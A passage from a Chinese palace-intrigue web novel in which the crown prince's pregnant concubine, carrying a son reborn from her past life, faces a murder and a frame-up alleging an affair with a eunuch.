槛儿现在的膳食每日每顿都是定量,他们自然不能再像之前那样额外添菜。
于是他们就致力于将槛儿的饭菜做得无比精美,所有菜品取的名儿那叫一个喜庆洋洋兼别出心裁。
而沈旺送的半篓子枣打的名头也是枣树在永煦院长着,平日里劳烦宋昭训看顾,美其名曰是答谢槛儿的。
另外库房、绣房、文房所这些地方也没闲着,变着法子往永煦院送东西。
不尽是为了巴结槛儿,这些个骑墙望风的真正看中的是槛儿的肚子!
当初槛儿从嘉荣堂出来,确实不少人知她是要替太子妃固宠生孩子的。
所以槛儿刚得宠那会儿,除了膳房偶尔会示示好,其他人都没敢怎么动。
毕竟宋昭训再得宠,终究都是太子妃的人,他们单独向宋昭训示好,岂不相当于把她跟太子妃分开了?
这种得罪主母的事,可不能轻易做。
然而现在,哪怕有些老家伙早先瞧准了眉目,这会儿暗地里也转了向。
毕竟,宋昭训孕期太子都在那边过夜呢。
是吧?
为着这种种考量,各个地方都动了起来。
槛儿当然不会照盘全收。
不能叫郑氏抓住把柄是一,不能叫人以为她恃宠而骄,败坏太子声誉是重中之重。
现在后院的人都知道宋昭训低调本分。
哪怕怀着太子的第一个子嗣也没拿鼻孔看人,对太子妃一如既往的敬畏,对曹良媛和秦昭训亦恭恭敬敬。
就连永煦院的奴才都没谁在外吹牛皮,这也从侧面反应了宋昭训治下有方。
有人难免便又多想了一些。
小福子每天向槛儿报备外面的消息。
外人只道宋昭训除了恢复了每日请安,其他时候都足不出户一门心思养胎。
殊不知槛儿仅从小福子的只言片语中,就掌握了他们的小心思。
当然了,槛儿也的确在专心养胎。
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>直至九月中旬,孩子已经四个半月了。
刚显怀不久。
摸肚皮暂时没感觉,但槛儿偶尔会感到肚子里面像是有小泡泡在咕噜咕噜。
太子仍旧保持着每旬休沐日过来的规律,九月初十那晚他半夜感觉到槛儿肚子里在咕噜咕噜,还当她饿了。
起来吩咐人去膳房给槛儿下了小碗面,槛儿迷迷瞪瞪被叫醒起来吃面。
事后才明白怎么回事。
但她哪能嘲笑太子啊,只能忍着笑说明情况,得知实情的太子爷无言以对。
而因着槛儿显了怀,原本打算等四个月后两人夜里偷偷来一场的想法,也被太子爷正直地给摒弃了。
担心自己收不住力,也怕压到槛儿的肚子。
当然也有他忙的因素在。
从九月初起,太子在衙署便不再只做审批文书、核查账目这类文差。
而是开始参与工部堂会,在工部各司郎中、主事的陪同下外出巡视工程。
譬如宫殿修缮、河工堤防、桥路修建、陵寝修建等等,巡视各大物料库,对这些地方进行相应的整改。
期间要与大量匠役、百姓打交道。
元隆帝派了八个禁军并四名锦衣卫保护儿子,这些人每天就穿着便装,保持着一定距离跟着太子来来**。
保护太子的人黑没黑槛儿不知道,反正到了十月的时候,太子原来玉白的俊脸被晒成了一层浅麦色。
不过人俊就是占便宜。
肤色玉白的太子清冷华贵,即使体格高大,身上也带着文雅矜贵的气度。
浅麦色的太子雍容华贵不变,但更显沉稳内敛。
像一把镶嵌着美玉的绝世名剑摇身一变,成了立在巍峨山巅通体泛着寒光的宝戟。
总之怎么样都好看。
十月初十这日。
晚膳后太子在书案前练字,槛儿靠坐在临窗的罗汉床上默默看经书。
已经五个多月大的肚子就仿佛一个浅口小汤盆儿,端端扣在她的腰腹上。
眼见时间差不多了。
槛儿合上经书,撑着下巴欣赏起了太子的美色,心想上辈子小儿子像她。
曜哥儿小时候挺像太子,就不知长大后……
“啊!”
骆峋察觉到小昭训的目光好一会儿了,眼见那道视线愈发露骨不庄重。
他正想问她做什么。
就听槛儿惊呼了一声。
骆峋立时搁了笔,朝槛儿看去的同时也站起来走了过去:“怎么?”
瑛姑姑、周嬷嬷听到声音进来。
槛儿一手撑着罗汉床,一手放在肚子上,很想说只是胎动,不碍事。
可腹中突如其来的剧烈动静明显有别于寻常胎动,槛儿只觉肚皮又绷又紧,比前几回胎动都来得痛!
海顺见势不对。
当即叫袁宝去请莫院判。
骆峋抱起槛儿往卧房去,步子又大又稳,刚刚被槛儿欣赏的俊脸绷得厉害。
“不,不躺……”
槛儿搂着太子的脖子,一手托着肚子,在他要把她放到床榻上时吸气道。
“殿下您坐下,让我坐着靠会儿……”
骆峋以她的想法为主,真就坐下让槛儿坐到他腿上寻个舒服的姿势靠着。
“怎么动得如此厉害?”
骆峋看着槛儿不停鼓动的肚皮,心里一阵发紧,抬起手却是不敢触碰。
嗯?
好像是父王的声音?
第113章 曜哥儿的难过,前世曜哥儿之死
睁不开眼。
身体好像被暖暖软软水一样的东西包裹,他好像漂浮在某个温暖的地方。
是什么地方呢?
曜哥儿踢踢腿,摸一摸。
再稍微侧侧身。
有“砰砰”、“砰砰”的声音,和自己以前摸心口时感觉到的跳动感好像。
还有溪流一样的声音。
曜哥儿迷迷糊糊,意识里这些声音他似是很早便有所感知,但他被困住了。
醒不来,动不了。
如是不知过去了多久。
他的脑袋终于清醒了,也能动了,恍惚间听到一道不甚真切却熟悉的人声。
曜哥儿的动作一顿。
父王?
是父王吗?!
曜哥儿下意识一喜。
但随即他就觉得是自己听错了。
他两岁的时候,父王突然从某天开始就不来看他了,乳母偷偷哭着和他说父王被皇祖父关到别的地方了。
东宫也被皇祖父命人看守起来了。
乳母说他和母亲,还有其他三位庶母今后不准踏出东宫后宅半步。
不然就要掉脑袋。
曜哥儿就知道,他见不到父王了。
脸冷冷的父王。
会给他读书的父王,会将他举高高的父王,夜里会给他讲故事的父王。
曜哥儿见不到了。
不久后,皇祖母生病去世。
他与母亲和三位庶母去坤和宫给皇祖母磕头,他们在那儿哭了好几天。
可他还是没见到父王。
礼部的官员说由他代父王辞别皇祖母。
见不到父王很难过,对他很好的皇祖母,笑眯眯的皇祖母去世了他也很难过。
太难过了。
回东宫后,曜哥儿偷偷哭了好久。
于是他生病了。
身子像有火在烧,脑袋沉沉的,可母亲不准乳母和他身边的人给他请太医。
他的脑子就被烧坏了。
太医、母亲身边的庞嬷嬷、霜云和霜月,以及母亲,他们都是这么说的。
说他脑子坏了。
成了痴儿傻子。
但曜哥儿自己知道,他什么都清楚。
他能听懂他们的话,能理解他们的动作,看得明白他们表情里的意思。
只是他的身子不受控。
他想拿手帕擦鼻涕,手动不了。
他明明可以自己拿筷子勺子用膳,然而他的手指硬硬的不听他的话。
它好像有自己的想法。
曜哥儿不理解,难道这就是傻吗?
他想出恭,嘴巴出不了声音,腿也动不了,他不能告诉乳母,也不能自己去净房。
拉了一身的臭。
曜哥儿自己闻着都嫌弃,更别说母亲。
曜哥儿知道母亲不喜他。
自打有记忆起便知道。
母亲当他年纪小,不懂事,便偶尔会趁父王不在时背着人对他面露嫌弃。
刚开始曜哥儿不明白。
不懂母亲为何不喜他。
但他记得父王教他的,君子和而不同。
意思就是君子要与人和睦相处,但也要有自己的见解,也要尊重他人的想法和喜好,不可以强加于人。
曜哥儿便想,母亲不喜他或许也有不喜他的理由,君子并不介意这个。
曜哥儿觉得这个问题也不能问其他人,乳母不能问,父王更不能。
所以他一直把这件事藏在心里。
直到过了不知多久,父王回来了,但又被皇祖父派到外面去做事情了。
某一天半夜。
曜哥儿被一个太监趁乳母睡着偷到了后院,那人要把他扔到井里。
他醒了,害怕地抱着那人不松手。
那人就掰断他的手指,很凶地告诉他,他是一个奴才生的贱种,不配当东宫大公子。
还说他娘是宋奉仪。
宋奉仪。
那个每回见到他想要靠近又不敢靠近,会恭恭敬敬地叫他“大公子”,声音很温柔很温柔的宋奉仪。
可惜没等曜哥儿深思,他就被对方扔进了井里,冰冷刺骨的井水淹没了他。
很快他就死啦。
但让曜哥儿没想到的是——
**的他成了透明人!
他就站在宋奉仪身边,看着她第一次紧紧抱着他难看的身体哭得撕心裂肺。
看着她一遍遍向他道歉。
一遍遍悔恨。
不管他怎么伸手够她,都够不着。
也擦不掉她的眼泪。
没办法告诉她,他不怪她。
曜哥儿猜,他大概会一直这样。
后来也果然如此。
父王回来了,替他办了丧事。
曜哥儿也是那时候明白了什么是魂魄,透明的会飘来飘去的他就是魂魄。
但他的魂魄不能到处飘,只有在父王和他还没有叫过一声娘的宋奉仪身边。
曜哥儿看看父王调查他的死因,才知道父王从前原来有让人暗中保护他。
但就在父王被皇祖父关起来的那一年,东宫的宫人被清洗了一遍,其中就包括父王安排在他身边的人。
而他会被偷走。
是因为父王那时刚回来没多久就被派出去做事了,而父王重新安排到他身边保护他的人晚一天过来。
与他死的时间刚好错开。
最后父王找出了偷他的太监,发现那太监是睿皇伯趁东宫
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乱安**来的。
可曜哥儿知道那太监也是受了母亲的命,只不过当时没有线索指向母亲。
也是从这个时候起,父王彻底变了。
变得无情,冷漠。
像一块永远都不会化的冰。
为皇祖母服满三年孝,父王重新涉足后院,但宋奉仪没有再怀上小宝宝。
嗯……
以前没叫过宋奉仪娘,一时不太能叫出口。
当然了,曜哥儿不知道要怎么才能怀上小宝宝,因为每次到这种时候他都会被挡在外面,什么也看不见听不见。
反正他知道宋奉仪没有新的小宝宝,曹良媛和秦昭训倒是先后有了小宝宝。
这期间,曜哥儿发现了父王的一个秘密。
那就是。
父王只有去宋奉仪那边不会吃黑乎乎的药丸,也只有去宋奉仪那边之后,父王回元淳宫才不会生病。
其他时候,父王就算提前服了药,半夜回元淳宫也会生病,很可怕的病。
一直吐,身上密密麻麻的红疹子,看得曜哥儿浑身发麻忍不住搓胳膊。
最严重的时候父王还会抽搐,昏迷大半夜,海顺就守在床边抹眼泪。
再后来一向不重女色的父王,明明要生病的父王后院里破天荒进了一批新人,有几个也有了小宝宝。
对此,曜哥儿没有拈酸吃味儿。
他只希望新的小宝宝能让父王变回来,希望宋奉仪也能怀上新小宝宝。
这样她就不用再想着他这个不孝子了。
就可以开开心心啦。
可惜。
东宫一日比一日热闹,每个人似乎都很开心,唯有父王和宋奉仪似乎始终……
曜哥儿又难过了。
他闭着眼歪了歪脑袋。
心里则想,自己消失的时候已经变成老父皇且胡子拉碴的父王交代完后事,就在娘生前住的坤和宫驾崩了。
他怎么可能听到父王的声音呢。
一定是自己听错了。
所以他这会儿在哪?
眼睛为什么睁不开?
手脚倒是能动,但感觉变小了没啥劲儿……
“嘶,嘶……”
“痛、殿下,痛!”
槛儿直个劲儿倒吸凉气,攥着太子的衣襟脸都白了,额角渗着一层细汗。
骆峋的心第一次如此发紧,抱着槛儿都不敢用力,闻言沉着脸看向海顺。
“莫问期还没到?”
海顺也捏着汗,却不得不如实道:“袁宝才刚去没多久,许是还得要上一刻钟。”
骆峋冷道:“再叫个脚程快的去太医院,另将东宫的医官先叫来,即刻!”
“是!”
第114章 **了!此人是宋昭训从前的相好!
周嬷嬷探查着槛儿的肚子,然而她料想的问题没查出来,动静却是没有停。
在宫里伺候过不少有孕的贵人主子,这种情况还是头一次见,饶是经验丰富周嬷嬷一时也不敢再动了。
“殿下恕罪,宋昭训的情况奴婢也摸不到准。”
她都不清楚什么情况,没经验的瑛姑姑几人更加只能在一旁干着急。
骆峋拢了拢槛儿的中衣,搂着她的腰,放轻声音问:“可还能受得住?”
槛儿紧锁着眉:“它一直在往外推……”
上辈子她生过三个,后面两个小的是在曜哥儿走后的第五个年头先后怀上的。
槛儿很确定,上辈子没有这种情况,难不成这辈子胎动也要跟寻常不一样?
这会儿屋中只有槛儿的吸气声,其肚皮隔着衣裳都能看到明显的起伏。
骆峋也是无方,一时担心,病急乱投医地想也没想沉声道:“不准动!”
槛儿还在忍痛,闻言一下没绷住,啼笑皆非道:“殿下,它哪能听得……”
“懂”字没说出来,槛儿的身子一顿。
“怎么?”骆峋问。
槛儿感受了一下,“好像……没动了?”
曜哥儿的意识这会儿并不是很清醒。
他所在的地方有类似他心跳的声音,有溪流声,但并不会让人觉得嘈杂。
是一种让他莫名觉得安心的声音。
但估计因着他当初是被淹死的,所以这会儿感受着自己被像水一样的东西包裹着,曜哥儿就下意识心慌。
心慌加上意识不清醒和耳边的声音,便导致他听不太真切外面的声音。
恍惚间再次听到熟悉的声音,曜哥儿怔了怔,不确定地缓缓探出小手。
是……父王吗?
“又推了。”
槛儿摸着肚皮道。
这个声音,是宋奉仪?是生他的娘?
曜哥儿消失时早就是皇后的宋奉仪走了好多年了,所以他记不太清娘的声音。
曜哥儿探出另一只小手。
迈出小脚……
槛儿仔细注意着肚子里的动静,边感受边说:“在动,但动作放慢了……”
骆峋顿了顿,复又道:“不准动。”
是父王的声音……
真是父王的声音!
父王,父王您在哪啊!
曜哥儿太激动了,小手沿着那道他不能睁眼看的软软的墙壁摸啊摸。
想走路。
但他刚迈脚就感觉晃了晃,像躺在水做的摇篮里,身子也被挡住啦。
曜哥儿有点害怕。
父王,娘,你们在哪?!
眼看着这孩子动静又大了,槛儿也是苦中作乐,抓着太子道:“殿下快下旨!”
骆峋:“……”
骆峋轻轻摸到那处动的地方,“再闹你娘,罚面壁思过两个时辰。”
周嬷嬷等人:“……”
曜哥儿:“……”
曜哥儿没敢再动。
倒不是怕面壁思过什么的,而是他好像意识到自己动,他娘就会难受。
可是为什么他一动,娘就会难受呢?
曜哥儿不懂。
也不明白为什么自己的魂魄明明消失了,父王和娘也都去世了,他这会儿却又能听到父王和娘的声音。
他们是在地府里团聚了?
曜哥儿做了好多年魂魄,也是见识远超常人……常小孩的,他知道人**要么是去那个什么极乐世界。
要么下阴曹地府。
父王下旨砍过人脑袋,肯定去不了极乐世界,那就只能是下了阴曹地府。
看样子他们在地府团聚了。
不过,这具身子太小啦。
曜哥儿不能睁眼,但他刚刚摸过自己的脸、手、鼻子、嘴巴和耳朵了,明显就没有他死的时候大嘛。
可能太小了,体力不济,曜哥儿就觉得动了一阵的自己这会儿好瞌睡。
但他能睡吗,会不会他睡着后醒来,就听不到父王和娘的声音了?
曜哥儿想父王。
也想虽然没有在一起生活过,但会温柔看着他,为了他差点悬梁自尽,难过好几年都没有新宝宝的娘。
如果可以。
曜哥儿这回想和生他的娘在一起。
不行了,好困……
睡着了。
屋中一阵安静。
好一会儿,槛儿松开太子的衣襟,纳罕地看了看他道:“真没动了。”
周嬷嬷和瑛姑姑、寒酥、跳珠,以及立在卧房门口随时听候差遣的银竹三**气都不敢出,都看着槛儿。
骆峋神色冷肃,手在槛儿腹部徐徐移动,用他习武之人的敏锐细细感受。
同时问槛儿:“胸肋、下腹处可有觉痛?小腹可有下坠之感?”
上月底莫院判来替她诊平安脉,骆峋听其谈及过有关胎动的注意事项。
称若胎动剧烈,恐引起胎气上逆造成母亲呼吸困滞,严重者可能闷绝而死。
其症状便是胎动如撞,痛引胸肋。
若下腹坠痛,则有滑胎之危。
胎动猝不及防且如刀绞,胎儿狂躁过后突然安静,则可能致使血崩胎死。
需即刻下胎保母。
另医书中有言,怪胎动甚者多异形,指的便是畸形胎儿可致胎动异常。
另剧烈胎动后突然安静下来,若是此时母亲腹冷如冰硬如石,口有秽气,则极大可能已是胎死腹中。
所以骆峋这会儿将手直接探进了槛儿的兜衣里,顺着她整个腹部的边沿一点点往上摸,探得尤为细致。
别看槛儿刚刚能苦中作乐,实则她也挺怕的,这会儿她也在仔细感受。
没感觉到什么,槛儿摇摇头。
骆峋让周嬷嬷过来再看看,也觉得有必要在永煦院就近安排一位女医。
若不然再出现今日类似情况,单是请医就耗时颇多,如何来得及。
其实就近安排女医并非特例,只不过通常是将近八个月的时候才会有此安排,为的是防止早产什么的。
但骆峋决定一会儿便交代下去。
东宫的医官先一步来了。
被小福子一路拽来的,哪怕他们极力在忍耐,也还是不住地喘气如牛。
不过他们路上就听说宋昭训胎动异常,这可不是小事,他们都没敢耽误。
迅速调整好心绪替槛儿检查起来,他们刚查完,莫院判被袁宝背来了。
随后双方一致得出结论。
宋昭训与胎儿皆无碍,至于
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为何会突然有此剧烈胎动,这个还真说不准。
只能暂行观察着。
槛儿倒还想得开,也是不得不想开些,要不然一直绷着弦反倒影响不好。
等莫院判他们一走。
槛儿就笑着道:“不愧是殿下,肚里的孩子都能让您两句话就给震慑住了。”
骆峋知道要让她放宽心,但此等玩笑委实是在瞎说,他不知如何接话。
沉默片刻。
他道:“等它出来,再罚不迟。”
永煦院请医的消息传到了其他地方,有人亲眼看到莫院判被袁宝背来。
宫人们如何作想不提,总归郑明芷和曹良媛、秦昭训都象征性来探望了。
见槛儿分明一副没事人的样子,太子却让人那么大张旗鼓地把东宫的医官和莫院判都给请来了。
郑明芷心里连连冷笑。
曹良媛无言以对,秦昭训只觉荒谬。
一番假模假样的关切,三人同路离开,曹良媛回了自己的地盘没忍住嗤了两声。
旋即,她看向抚琴。
抚琴点点头,笑容中透着一丝诡异。
是夜。
嘉荣堂后院。
西北角宫墙夹道一处偏僻棚屋里,两盏纸糊的灯笼在棚檐下随风晃动。
昏暗的角落不断有刷子涮木桶的声音传出,潮湿的地面污水哗啦啦流入涵洞,空气中一股刺鼻的尿骚味。
不多时,板车上摞满一堆沥水的恭桶。
小太监捶捶腰,站在板车前看了看,确定没问题他转身准备打水洗手。
突然!
咚!
后脑被砸中,小太监捂头踉跄着转身。
看清来人,“你……”
却是没来得及说话,人朝后倒去。
哐哐哐!
近百个恭桶滚落,将小太监埋得严严实实。
.
槛儿半夜被小家伙惊醒。
骆峋向来警醒,而自打槛儿的肚子大起来,每逢留宿他夜里更是警觉。
察觉到身旁的动静,他半支起身。
“不舒服?”
槛儿迷迷糊糊睁眼,扭头看着他道:“有点儿,不过应该没什么问题。”
小家伙第一次动是在上个月底,之后每晚临睡前都会活动一小会儿。
半夜偶尔也会,但都很轻微规律。
今儿也不知怎么了。
“要不您试试?”槛儿把太子的手放到肚子上,“再试试让它不要动。”
刚说完,外间响起开门声。
没多会儿海顺的声音在卧房门口响起。
“殿下,嘉荣堂出事了。”
“何事?”
海顺的声音发虚:“说是后院没了个小太监,这人和宋昭训是旧识。”
槛儿与太子对视一眼,坐起身。
“嘉荣堂后院里我认识的人不少,但都没什么交情,单是我的旧识没了何至于深更半夜来扰殿下清净。
海总管你且直说,来人实话怎么说的?”
海顺不敢言。
骆峋撩起纱帐。
“再有下次,自己领罚。”
海顺立时不敢再瞒。
“来人是太子妃身边的霜云,说是那没了的小太监是宋昭训从前的……”
“从前的相好。”
第115章 惊现宋昭训肚兜!“太子在此,请慎行。”
死的小太监叫小忠子,大名吴忠安。
元隆十五年进的宫,现年十八,江西吉安府下永宁县人士,生得斯文俊秀。
早年在惜薪司做着涮洗恭桶的活计,前年太子太子妃大婚的两个月前,小忠子被内务府调到嘉荣堂后院。
干的同样是倒夜香,洗恭桶的活。
此人性子内向,加之倒夜香这样的活计在宫里属于最低贱的杂役。
除了他们一起做活儿的,别的宫人基本不愿意和他们怎么打交道,小忠子平日里也算是比较独来独往。
今儿本该是他和另一个小太监一起值夜洗桶的,但那小太监吃坏了肚子。
小忠子便主动帮他把活做了。
到这时候就快四更天了。
像小忠子这样的杂役奴才,又叫做“净军”,平日住在后罩房西北角靠宫墙单独的一座简陋小院子里。
十几个人睡一个大通铺。
刚巧,今晚该和小忠子值夜的小太监小元子,床位也和小忠子的挨在一起。
这不?
小元子醒来发现四更的梆子都敲过好一会儿了,小忠子居然还没回来。
正好他肚子也不拉了。
小元子便起来找人。
谁知找了半天,竟在一堆恭桶下面发现了人,而小忠子已经断气了!
小元子被吓得魂不附体。
当即扯着嗓子喊人,自然而然惊动了平时管他们的杂役刘老太监。
刘老太监当是小忠子不小心办错了差,自己把自己给作得被恭桶压**。
顿时觉得晦气。
对小忠子破口大骂,还踢了几脚,小元子便护着小忠子的尸身不让他打。
拉拉扯扯间,一旁有眼尖的忽然发现小忠子怀里露出了一截子东西。
扯出来一看。
好家伙!
竟是一件女子的肚兜!
且看那样式明显就是身形丰腴的小姑娘穿的,而这宫里除了年纪小的宫女,还有其他身份的小姑娘吗?
明显没有嘛。
小忠子一个太监身上揣着小宫女的肚兜,这不明摆着跟人家有猫腻吗?
要知道四个多月前嘉荣堂才出了宫女太监对食的事,庞嬷嬷对他们这些下面的人好一番耳提面命。
直言再有类似的事不仅当事人要吃板子发配到浣衣局,管事的也要连坐。
刘太监只差没把小忠子的祖宗问候个遍,倒是有意把这事给瞒下来。
可惜他们这边闹得太大。
比刘太监更高一层的管事高嬷嬷听到动静来了,将那肚兜从刘太监手里夺了过来,叫人上报庞嬷嬷。
一来二去。
整个后院的人都被闹了起来。
就在这个时候,有两个眼尖的后院浣衣宫女认出了高嬷嬷手里的肚兜。
刚开始她俩支支吾吾说不出个所以然,还是高嬷嬷一通逼问两人才招了。
说是早先宋昭训还在嘉荣堂的时候,她们和宋昭训住在一个屋里,曾在夜里见宋昭训穿过这件肚兜。
这可真是油锅里落了水。
炸锅了!
宋昭训穿过的肚兜,为何会在一个倒夜香洗恭桶的小太监怀里揣着?
宋昭训和这小太监存着什么关系?这小太监为何又会被恭桶压死?
真是不小心被恭桶砸死的?
还是另有隐情?
事情到这一步就不是能不能瞒住,想不想瞒的问题了,而是直接关乎到今晚知道这事的所有人的性命!
自古以来后宫妃嫔和太子妻妾,不管她们是跟太医有染还是太监有染。
就没一个好下场的!
单她一个人获罪,一家子被诛九族也就罢了,那是她自作自受自己找死!
关键如果查证为实,凡知晓此事的宫人,不管无辜有辜都要被处以极刑!
更别说宋昭训怀着太子的第一个子嗣,这可是混淆皇室血脉的谋逆大罪!
事情太大了。
就算心里再害怕,也没人敢瞒。
于是,那两个宫女前脚指认肚兜是宋昭训的,后脚半盏茶的功夫都不到消息就传到了太子妃耳中。
而此时此刻。
槛儿和太子出了西六院。
正值深秋,夜里的风浸染了霜寒,迎面吹来似要穿透皮肤往骨子里钻。
天上明月将圆未圆,周遭几颗星星眨眼,有落叶从路边的树上簌簌落下。
槛儿穿着一件薄夹袄,外罩着一件适合这个时节的斗篷,领口处一圈浅浅的兔毛,倒是不至于让她受凉。
元淳宫的随行宫人分左右在前面掌着灯,跳珠和银竹小心搀扶着槛儿。
太子自打听了海顺的禀报便不发一语,此时和槛儿保持着前后半丈长的距离。
一路上谁也没说话。
槛儿看着他的背影,暂也没着急解释什么。
到了嘉荣堂。
院中灯火大作,亮如白昼。
却是死一般沉寂。
路旁两侧及廊檐下不论跪站,一众太监宫女皆仿似一座座石雕纹丝不动。
挂在各处的灯笼光打在他们脸上,光影分割了他们的五官轮廓,和着瑟瑟秋风竟显出几分
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诡异恐怖之感。
行至正房,门前黑压压跪了一片。
靠近青石板路右侧的地方摆着一个架子,拿白布盖着,一只僵硬的手从中漏了出来,犹可见其上冻疮斑斑。
槛儿知道有**,并不觉得怕。
可猝不及防看到这样一幕,她几乎第一时间下意识护住肚子后退了一步。
这时,一道高大的身影挡住了她的视线。
槛儿抬头。
骆峋握住她护着肚子的那只手,看她一眼,遂揽着她将人带进了厅堂。
郑明芷这会儿都要炸了!
她是不想宋槛儿今后继续得宠,也知道有人会先跳出来,她一直等着呢。
但让郑明芷没想到的是。
那人用的竟会是这种方式!
嘉荣堂几个月前才出了宫女太监对食,她不仅公开把人处置了,还叫了其他院里的管事奴才来观了刑。
明面上是杀鸡儆猴。
实际是她为了彰显主母的公允公正、赏罚分明,是想让外人知道,即便是她院里的人犯了这等违禁之罪。
她也绝不姑息徇私!
她是要散播自己的贤名!
哪知这才过了多久就又发生了类似的事,其中一个当事人还是宋槛儿!
那贱婢是她挑出来伺候太子的。
是她选的生子工具,还是裴皇后首肯了,连元隆帝都知道的这么一个人啊!
现在出了这贱婢和她后院里最低贱肮脏的阉奴有染这种事,岂不等于她在自打嘴巴子,挑了这么个人!
尤其宋槛儿如今怀着身子!
郑明芷就又想多了。
前头那半年金承徽、秦昭训、曹良媛屋里太子都去了,曹良媛那边的次数还不少,然而那三个都没好消息。
偏轮到宋槛儿就有了。
郑明芷就拿不准了,真的只是巧合吗?
太子究竟是真行还是假行?宋槛儿肚子里的那块肉真是太子的种吗?
还是说……
种种崩溃和猜测让郑明芷此刻满肚子火,以至于一看到槛儿进屋。
她眼里再无旁人。
太子都被她给忽视了,想也没想就抄起案几上的茶盏朝槛儿狠狠砸去!
“宋昭训,你该当何罪?!”
海顺脸一沉,都没人看清他什么时候上的前,便见他手里的拂尘一挥。
啪!
茶盏被挡到一丈之外,应声而碎。
海顺收起拂尘护在太子身前,脸上笑得恭敬,却是笑意不达眼底。
“太子妃,太子在此,还请慎行。”
第116章 宋昭训和太监亲嘴!**灭口!
郑明芷被海顺的动作和这一声清脆刺耳的茶盏碎裂之声惊了一下。
随即才发现槛儿身边还站着个人,屋中包括庞嬷嬷在内的宫人俱跪伏在地。
郑明芷立时起身上前,“殿下恕罪,妾身也是一时给气糊涂了才失了分寸。”
说着话。
她发现太子竟握着槛儿的手,另一只手揽着对方,一副将人护着的姿态。
郑明芷差点没一口老血喷涌而出。
都这个节骨眼儿了。
这男人居然还能触碰这贱蹄子,还把人护成这样,他都不嫌脏不嫌恶心的吗?
她的震惊和一言难尽没来得及掩饰,骆峋原就冷冽的眸光沉了下去。
松开槛儿,他行至北面上首处落座。
海顺见状做了个手势,跳珠退下,银竹搀着槛儿到她平时请安的位置坐。
郑明芷一梗。
和太子隔着一张案几而坐,状似斟酌道:“殿下,宋昭训还是戴罪之身,就这么坐着怕是不合规矩。”
骆峋侧目,“谁定的罪?”
郑明芷再一梗,想和他掰扯一二。
这时,院外忽地响起一声惊呼。
却是曹良媛和秦昭训。
两人都不比白日里打扮得光鲜,只穿了件夹衣并一件披风就来了。
看样子像是半夜被惊醒,赶着来的。
那一声惊呼便是曹良媛被院里的尸体吓到发出来的,此时她正由贴身宫女搀进来,心有余悸般拍着心口。
进了屋。
她与秦昭训齐齐见了礼。
末了讪笑了一下:“妾身抄经睡得迟了,迷迷糊糊听到底下的奴才在走动。
问了才知竟是嘉荣堂不知出了什么大事,您与宋昭训都过来了,妾身哪里还坐得住便也想着过来看看。
刚巧路上遇上了秦昭训便同了路,妾身不是有意失仪的,还请殿下恕罪。”
一贯直爽率性的做派,能言快语的,一番话下来气儿都不带换的。
秦昭训煞白着脸点点头。
骆峋淡淡颔首,旋即道:“说事吧。”
曹良媛从善如流地退到一旁。
看到坐在对面的槛儿时,她的眸光情不自禁地顿了顿,而后就觉得好笑。
他们的太子爷还真是会心疼人呢,出了这样的事儿都还能让人好好坐着。
不知一会儿,他还能不能心疼得起来。
槛儿状若不经意朝对面看了一眼,没有错过对方眸底那一闪而过的笑意。
郑明芷见太子铁了心要让槛儿坐着,气憋的同时却也无可奈何,于是便把这股气撒到了底下的宫人头上。
“杵着做什么?叫那几个奴才滚进来!”
门口的人忙去传话。
稍顷,两个太监两个宫女两股战战地被带了进来,扑通几声给跪下了。
庞嬷嬷上前半步,将事情的前因后果用最简练的话向太子讲了一遍。
屋里的宫人脑袋只差扎进裤腰里,跪着的四个宫女太监更是趴伏在地。
曹良媛惊骇捂嘴。
秦昭训震惊的眼神中夹杂着不齿。
槛儿白着脸摇头,一副含冤受屈想要自辩又强行努力镇定忍下的模样。
庞嬷嬷说完后,呈上那件肚兜。
郑明芷:“拿给宋昭训过目!”
庞嬷嬷照做。
“人证物证俱在,宋昭训你还有何可说?”郑明芷怒视着槛儿,沉声道。
肚兜是米黄粗麻布做的,整体上没绣花,只下摆一侧绣着小片柳叶。
相较于现下多数宫女麻杆儿似的身形,这件肚兜确实适合丰腴的人穿。
且粗使杂役宫女的贴身衣物也的确多拿这种麻布做,一件要穿好多年。
缝缝补补的全是补丁。
这件都算很好的了,还绣了叶子。
槛儿就着银竹的手将肚兜翻看了一遍。
之后站起身道:“妾身惶恐,敢问太子妃,是谁说这件衣物是妾身的?”
郑明芷看向那两个宫女。
自然不是她亲口同几个粗使杂役宫女说话,自有庞嬷嬷代其厉声审问。
“宋昭训问话,还不从实招来!”
两个宫女。
瘦长脸的叫芳莲,小瓜子脸的叫翠萍,二人麻杆似的身子齐齐一瑟缩。
槛儿转身看着她们。
“你们确定这件贴身衣物是我的?”
芳莲额头触地,哆哆嗦嗦。
“回、回昭训,奴婢芳莲,在嘉荣堂后院浣衣所当差,住的地方是浣衣所东北角小院里的八人通铺屋子。”
翠萍:“奴婢也是。”
浣衣所和八人通铺屋。
槛儿懂了。
宫里有浣衣局,负责除裴皇后和元隆帝以外,后宫所有大小主子的衣物浣洗。
平日里犯错的宫人被罚至浣衣局,洗的则是宫中低阶宫女太监的衣物。
东宫不属于后宫范畴。
东宫女眷也不能称为后宫妃嫔。
所以东宫有自己的浣衣所。
妾室的衣物由后院的大浣衣所统一清洗,太子与太子妃的衣裳则分别由他们各自院落的浣衣所单独洗。
嘉荣堂的浣衣所分了三个区域,一个专负责晾洗熨烫太子妃的衣物。
一个则洗庞嬷嬷、霜云霜月,以及各个地方管事的这类高等宫人的衣物。
最后一个洗低阶宫女太监们的衣物。
槛儿以前是给庞嬷嬷他们洗的,住的地方也比不上给太子妃洗衣裳的。
所以这两个宫女想表达的意思是她们以前和槛儿一起住,见过她的衣裳。
“是这样吗?”槛儿问。
芳莲、翠萍齐齐磕头。
“是、宋昭训息怒!宋昭训恕罪!奴婢不是有意的,奴婢只是实话实说!”
好一个实话实说。
槛儿没管她们。
看向两个太监,“她们说认得我的贴身衣物,你们呢?要指证我什么?”
小元子疯狂摇头。
“奴才没有要指证您,奴才是和小忠子同屋的!是奴才找到了小忠子,但奴才事先不知道小忠子揣了什么!”
槛儿就看向另一个太监:“你呢?”
此人叫小宏子,大名方宏。
方宏看着那抹漂亮的裙摆,和裙摆下方那双若隐若现穿着绣鞋的小脚,他撑在地上掩在袖中的手攥紧。
“回昭训主子,奴才知道您和小忠子……奴才不敢说,宋昭训恕罪!宋昭训恕罪
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!”
“说!”
郑明芷一拍案几,厉声喝道。
“敢有隐瞒即刻拉出去杖毙!”
“是、是!”
方宏吓得几乎是带着哭腔喊出了接下来的话:“小忠子对宋昭训有意。
宋昭训也喜欢小忠子,奴才曾亲眼看到小忠子和宋昭训、和宋昭训亲嘴!”
宛如一记轰天巨雷。
炸得在场之人心神俱震。
